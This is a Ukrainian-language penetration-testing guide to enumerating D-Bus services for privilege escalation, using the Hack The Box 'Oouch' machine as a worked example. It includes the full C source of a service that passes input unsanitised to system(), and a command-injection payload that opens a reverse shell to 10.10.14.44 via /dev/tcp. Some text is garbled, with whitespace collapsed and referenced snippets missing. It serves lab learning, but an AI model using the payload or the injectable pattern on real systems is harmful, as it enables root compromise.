D-Bus використовується як посередник міжпроцесорних комунікацій (IPC) в середовищах робочого столу Ubuntu. В Ubuntu спостерігається одночасна робота кількох шини повідомлень: системна шина, яка в основному використовується привілейованими службами для відкриття служб, що мають відношення до системи, та сесійна шина для кожного увійшовшого користувача, яка відкриває служби, що мають відношення лише до цього конкретного користувача. Основна увага тут зосереджена на системній шині через її асоціацію з службами, що працюють з вищими привілеями (наприклад, root), оскільки наша мета - підвищити привілеї. Зазначається, що архітектура D-Bus використовує 'маршрутизатор' для кожної сесійної шини, який відповідає за перенаправлення повідомлень клієнтів до відповідних служб на основі адреси, вказаної клієнтами для служби, з якою вони бажають спілкуватися.
Служби на D-Bus визначаються об'єктами та інтерфейсами, які вони відкривають. Об'єкти можна порівняти з екземплярами класів у стандартних мовах ООП, при цьому кожен екземпляр унікально ідентифікується шляхом об'єкта. Цей шлях, подібно до шляху файлової системи, унікально ідентифікує кожен об'єкт, відкритий службою. Ключовим інтерфейсом для дослідження є інтерфейс org.freedesktop.DBus.Introspectable, який має єдиний метод, Introspect. Цей метод повертає XML-представлення підтримуваних методів, сигналів та властивостей об'єкта, зосереджуючи увагу на методах, пропускаючи властивості та сигнали.
Для зв'язку з інтерфейсом D-Bus було використано два інструменти: CLI-інструмент під назвою gdbus для легкого виклику методів, відкритих D-Bus у скриптах, та D-Feet, графічний інструмент на основі Python, призначений для перерахунку служб, доступних на кожній шині, та для відображення об'єктів, що містяться в кожній службі.
sudoapt-getinstalld-feet
У першому зображенні показані сервіси, зареєстровані в системній шині D-Bus, з org.debin.apt, зокрема, виділеним після вибору кнопки System Bus. D-Feet запитує цей сервіс на предмет об'єктів, відображаючи інтерфейси, методи, властивості та сигнали для вибраних об'єктів, що видно на другому зображенні. Також детально описується підпис кожного методу.
Помітною особливістю є відображення ідентифікатора процесу (pid) та командного рядка сервісу, що корисно для підтвердження, чи працює сервіс з підвищеними привілеями, що важливо для дослідження.
D-Feet також дозволяє виклик методів: користувачі можуть вводити вирази Python як параметри, які D-Feet перетворює на типи D-Bus перед передачею сервісу.
Однак слід зазначити, що деякі методи вимагають аутентифікації перед тим, як дозволити їх виклик. Ми проігноруємо ці методи, оскільки наша мета - підвищити наші привілеї без облікових даних з самого початку.
Також зверніть увагу, що деякі з сервісів запитують інший сервіс D-Bus під назвою org.freedeskto.PolicyKit1, чи слід дозволити користувачу виконувати певні дії чи ні.
Cmd line Enumeration
Список об'єктів сервісу
Можливо перерахувати відкриті інтерфейси D-Bus за допомогою:
З Wikipedia: Коли процес встановлює з'єднання з шиною, шина призначає з'єднанню спеціальну назву шини, звану унікальною назвою з'єднання. Назви шин цього типу є незмінними — гарантовано, що вони не зміняться, поки з'єднання існує — і, що більш важливо, їх не можна повторно використовувати протягом життєвого циклу шини. Це означає, що жодне інше з'єднання з цією шиною ніколи не отримає таку унікальну назву з'єднання, навіть якщо той самий процес закриває з'єднання з шиною і створює нове. Унікальні назви з'єднань легко впізнавані, оскільки вони починаються з — в іншому випадку забороненого — символу двокрапки.
Service Object Info
Тоді ви можете отримати деяку інформацію про інтерфейс за допомогою:
busctlstatushtb.oouch.Block#Get info of "htb.oouch.Block" interfacePID=2609PPID=1TTY=n/aUID=0EUID=0SUID=0FSUID=0GID=0EGID=0SGID=0FSGID=0SupplementaryGIDs=Comm=dbus-serverCommandLine=/root/dbus-serverLabel=unconfinedCGroup=/system.slice/dbus-server.serviceUnit=dbus-server.serviceSlice=system.sliceUserUnit=n/aUserSlice=n/aSession=n/aAuditLoginUID=n/aAuditSessionID=n/aUniqueName=:1.3EffectiveCapabilities=cap_chowncap_dac_overridecap_dac_read_searchcap_fownercap_fsetidcap_killcap_setgidcap_setuidcap_setpcapcap_linux_immutablecap_net_bind_servicecap_net_broadcastcap_net_admincap_net_rawcap_ipc_lockcap_ipc_ownercap_sys_modulecap_sys_rawiocap_sys_chrootcap_sys_ptracecap_sys_pacctcap_sys_admincap_sys_bootcap_sys_nicecap_sys_resourcecap_sys_timecap_sys_tty_configcap_mknodcap_leasecap_audit_writecap_audit_controlcap_setfcapcap_mac_overridecap_mac_admincap_syslogcap_wake_alarmcap_block_suspendcap_audit_readPermittedCapabilities=cap_chowncap_dac_overridecap_dac_read_searchcap_fownercap_fsetidcap_killcap_setgidcap_setuidcap_setpcapcap_linux_immutablecap_net_bind_servicecap_net_broadcastcap_net_admincap_net_rawcap_ipc_lockcap_ipc_ownercap_sys_modulecap_sys_rawiocap_sys_chrootcap_sys_ptracecap_sys_pacctcap_sys_admincap_sys_bootcap_sys_nicecap_sys_resourcecap_sys_timecap_sys_tty_configcap_mknodcap_leasecap_audit_writecap_audit_controlcap_setfcapcap_mac_overridecap_mac_admincap_syslogcap_wake_alarmcap_block_suspendcap_audit_readInheritableCapabilities=BoundingCapabilities=cap_chowncap_dac_overridecap_dac_read_searchcap_fownercap_fsetidcap_killcap_setgidcap_setuidcap_setpcapcap_linux_immutablecap_net_bind_servicecap_net_broadcastcap_net_admincap_net_rawcap_ipc_lockcap_ipc_ownercap_sys_modulecap_sys_rawiocap_sys_chrootcap_sys_ptracecap_sys_pacctcap_sys_admincap_sys_bootcap_sys_nicecap_sys_resourcecap_sys_timecap_sys_tty_configcap_mknodcap_leasecap_audit_writecap_audit_controlcap_setfcapcap_mac_overridecap_mac_admincap_syslogcap_wake_alarmcap_block_suspendcap_audit_read
List Interfaces of a Service Object
Вам потрібно мати достатньо прав.
busctltreehtb.oouch.Block#Get Interfaces of the service object└─/htb└─/htb/oouch└─/htb/oouch/Block
Introspect Interface of a Service Object
Зверніть увагу, що в цьому прикладі була обрана остання виявлена інтерфейс за допомогою параметра tree (див. попередній розділ):
busctlintrospecthtb.oouch.Block/htb/oouch/Block#Get methods of the interfaceNAMETYPESIGNATURERESULT/VALUEFLAGShtb.oouch.Blockinterface---.Blockmethodss-org.freedesktop.DBus.Introspectableinterface---.Introspectmethod-s-org.freedesktop.DBus.Peerinterface---.GetMachineIdmethod-s-.Pingmethod---org.freedesktop.DBus.Propertiesinterface---.Getmethodssv-.GetAllmethodsa{sv}-.Setmethodssv--.PropertiesChangedsignalsa{sv}as--
Зверніть увагу на метод .Block інтерфейсу htb.oouch.Block (той, що нас цікавить). "s" в інших стовпцях може означати, що очікується рядок.
Інтерфейс моніторингу/захоплення
З достатніми привілеями (лише привілеїв send_destination та receive_sender недостатньо) ви можете моніторити D-Bus комунікацію.
Якщо ви знаєте, як налаштувати конфігураційний файл D-Bus, щоб дозволити не root користувачам перехоплювати комунікацію, будь ласка, зв'яжіться зі мною!
Різні способи моніторингу:
sudobusctlmonitorhtb.oouch.Block#Monitor only specifiedsudobusctlmonitor#System level, even if this works you will only see messages you have permissions to seesudodbus-monitor--system#System level, even if this works you will only see messages you have permissions to see
У наступному прикладі інтерфейс htb.oouch.Block моніториться, і повідомлення "lalalalal" надсилається через непорозуміння:
busctlmonitorhtb.oouch.BlockMonitoringbusmessagestream.‣Type=method_callEndian=lFlags=0Version=1Priority=0Cookie=2Sender=:1.1376 Destination=htb.oouch.Block Path=/htb/oouch/Block Interface=htb.oouch.Block Member=BlockUniqueName=:1.1376MESSAGE"s"{STRING"lalalalal";};‣Type=method_returnEndian=lFlags=1Version=1Priority=0Cookie=16ReplyCookie=2Sender=:1.3 Destination=:1.1376UniqueName=:1.3MESSAGE"s"{STRING"Carried out :D";};
Ви можете використовувати capture замість monitor, щоб зберегти результати у файлі pcap.
Фільтрація всього шуму
Якщо на шині занадто багато інформації, передайте правило збігу так:
Як користувач qtc всередині хоста "oouch" з HTB ви можете знайти неочікуваний конфігураційний файл D-Bus, розташований у /etc/dbus-1/system.d/htb.oouch.Block.conf:
<?xml version="1.0" encoding="UTF-8"?> <!-- -*- XML -*- --><!DOCTYPE busconfig PUBLIC"-//freedesktop//DTD D-BUS Bus Configuration 1.0//EN""http://www.freedesktop.org/standards/dbus/1.0/busconfig.dtd"><busconfig><policyuser="root"><allowown="htb.oouch.Block"/></policy><policyuser="www-data"><allowsend_destination="htb.oouch.Block"/><allowreceive_sender="htb.oouch.Block"/></policy></busconfig>
Зверніть увагу на попередню конфігурацію, що вам потрібно бути користувачем root або www-data, щоб надсилати та отримувати інформацію через цю D-BUS комунікацію.
Як користувач qtc всередині контейнера docker aeb4525789d8 ви можете знайти деякий код, пов'язаний з dbus, у файлі /code/oouch/routes.py. Це цікавий код:
Як ви можете бачити, це підключається до інтерфейсу D-Bus і надсилає до функції "Block" "client_ip".
На іншій стороні з'єднання D-Bus працює деякий скомпільований C-бінарник. Цей код слухає з'єднання D-Bus для IP-адреси і викликає iptables через функцію system для блокування заданої IP-адреси.
Виклик system навмисно вразливий до ін'єкцій команд, тому такий корисний вантаж, як наступний, створить зворотне з'єднання: ;bash -c 'bash -i >& /dev/tcp/10.10.14.44/9191 0>&1' #
Використайте це
В кінці цієї сторінки ви можете знайти повний C-код програми D-Bus. Всередині ви можете знайти між рядками 91-97 як D-Bus object pathта interface nameреєструються. Ця інформація буде необхідна для надсилання інформації до з'єднання D-Bus:
/* Install the object */r =sd_bus_add_object_vtable(bus,&slot,"/htb/oouch/Block", /* interface */"htb.oouch.Block", /* service object */block_vtable,NULL);
Також, у рядку 57 ви можете знайти, що єдиний метод, зареєстрований для цього D-Bus зв'язку називається Block(Ось чому в наступному розділі корисні навантаження будуть надіслані до об'єкта служби htb.oouch.Block, інтерфейсу /htb/oouch/Block та назви методу Block):
Наступний код на python надішле корисне навантаження до з'єднання D-Bus до методу Block через block_iface.Block(runme) (зауважте, що він був витягнутий з попереднього фрагмента коду):
dbus-send - це інструмент, який використовується для відправки повідомлень до “Message Bus”
Message Bus – програмне забезпечення, яке використовується системами для спрощення комунікації між додатками. Це пов'язано з Message Queue (повідомлення впорядковані в послідовності), але в Message Bus повідомлення надсилаються за моделлю підписки і також дуже швидко.
Тег “-system” використовується для позначення того, що це системне повідомлення, а не повідомлення сесії (за замовчуванням).
Тег “–print-reply” використовується для належного виведення нашого повідомлення та отримання будь-яких відповідей у зрозумілому для людини форматі.
“–string:” – тип повідомлення, яке ми хочемо надіслати до інтерфейсу. Існує кілька форматів для відправки повідомлень, таких як double, bytes, booleans, int, objpath. З цього, “object path” корисний, коли ми хочемо надіслати шлях до файлу до інтерфейсу Dbus. У цьому випадку ми можемо використовувати спеціальний файл (FIFO), щоб передати команду до інтерфейсу під ім'ям файлу. “string:;” – це для повторного виклику об'єктного шляху, де ми розміщуємо файл/команду зворотного шелу FIFO.
Зверніть увагу, що в htb.oouch.Block.Block, перша частина (htb.oouch.Block) посилається на об'єкт служби, а остання частина (.Block) посилається на назву методу.
C code
d-bus_server.c
//sudo apt install pkgconf//sudo apt install libsystemd-dev//gcc d-bus_server.c -o dbus_server `pkg-config --cflags --libs libsystemd`#include<stdio.h>#include<stdlib.h>#include<string.h>#include<errno.h>#include<unistd.h>#include<systemd/sd-bus.h>staticintmethod_block(sd_bus_message *m,void*userdata, sd_bus_error *ret_error) {char* host =NULL;int r;/* Read the parameters */r =sd_bus_message_read(m,"s",&host);if (r <0) {fprintf(stderr,"Failed to obtain hostname: %s\n", strerror(-r));return r;}char command[]="iptables -A PREROUTING -s %s -t mangle -j DROP";int command_len =strlen(command);int host_len =strlen(host);char* command_buffer = (char*)malloc((host_len + command_len) *sizeof(char));if(command_buffer ==NULL) {fprintf(stderr,"Failed to allocate memory\n");return-1;}sprintf(command_buffer, command, host);/* In the first implementation, we simply ran command using system(), since the expected DBus* to be threading automatically. However, DBus does not thread and the application will hang* forever if some user spawns a shell. Thefore we need to fork (easier than implementing real* multithreading)*/int pid =fork();if ( pid ==0 ) {/* Here we are in the child process. We execute the command and eventually exit. */system(command_buffer);exit(0);} else {/* Here we are in the parent process or an error occured. We simply send a genric message.* In the first implementation we returned separate error messages for success or failure.* However, now we cannot wait for results of the system call. Therefore we simply return* a generic. */returnsd_bus_reply_method_return(m,"s","Carried out :D");}r =system(command_buffer);}/* The vtable of our little object, implements the net.poettering.Calculator interface */staticconst sd_bus_vtable block_vtable[]= {SD_BUS_VTABLE_START(0),SD_BUS_METHOD("Block","s","s", method_block, SD_BUS_VTABLE_UNPRIVILEGED),SD_BUS_VTABLE_END};intmain(int argc,char*argv[]) {/** Main method, registeres the htb.oouch.Block service on the system dbus.** Paramaters:* argc (int) Number of arguments, not required* argv[] (char**) Argument array, not required** Returns:* Either EXIT_SUCCESS ot EXIT_FAILURE. Howeverm ideally it stays alive* as long as the user keeps it alive.*//* To prevent a huge numer of defunc process inside the tasklist, we simply ignore client signals */signal(SIGCHLD,SIG_IGN);sd_bus_slot *slot =NULL;sd_bus *bus =NULL;int r;/* First we need to connect to the system bus. */r =sd_bus_open_system(&bus);if (r <0){fprintf(stderr,"Failed to connect to system bus: %s\n", strerror(-r));goto finish;}/* Install the object */r =sd_bus_add_object_vtable(bus,&slot,"/htb/oouch/Block", /* interface */"htb.oouch.Block", /* service object */block_vtable,NULL);if (r <0) {fprintf(stderr,"Failed to install htb.oouch.Block: %s\n", strerror(-r));goto finish;}/* Register the service name to find out object */r =sd_bus_request_name(bus,"htb.oouch.Block",0);if (r <0) {fprintf(stderr,"Failed to acquire service name: %s\n", strerror(-r));goto finish;}/* Infinite loop to process the client requests */for (;;) {/* Process requests */r =sd_bus_process(bus,NULL);if (r <0) {fprintf(stderr,"Failed to process bus: %s\n", strerror(-r));goto finish;}if (r >0) /* we processed a request, try to process another one, right-away */continue;/* Wait for the next request to process */r =sd_bus_wait(bus, (uint64_t) -1);if (r <0) {fprintf(stderr,"Failed to wait on bus: %s\n", strerror(-r));goto finish;}}finish:sd_bus_slot_unref(slot);sd_bus_unref(bus);return r <0? EXIT_FAILURE : EXIT_SUCCESS;}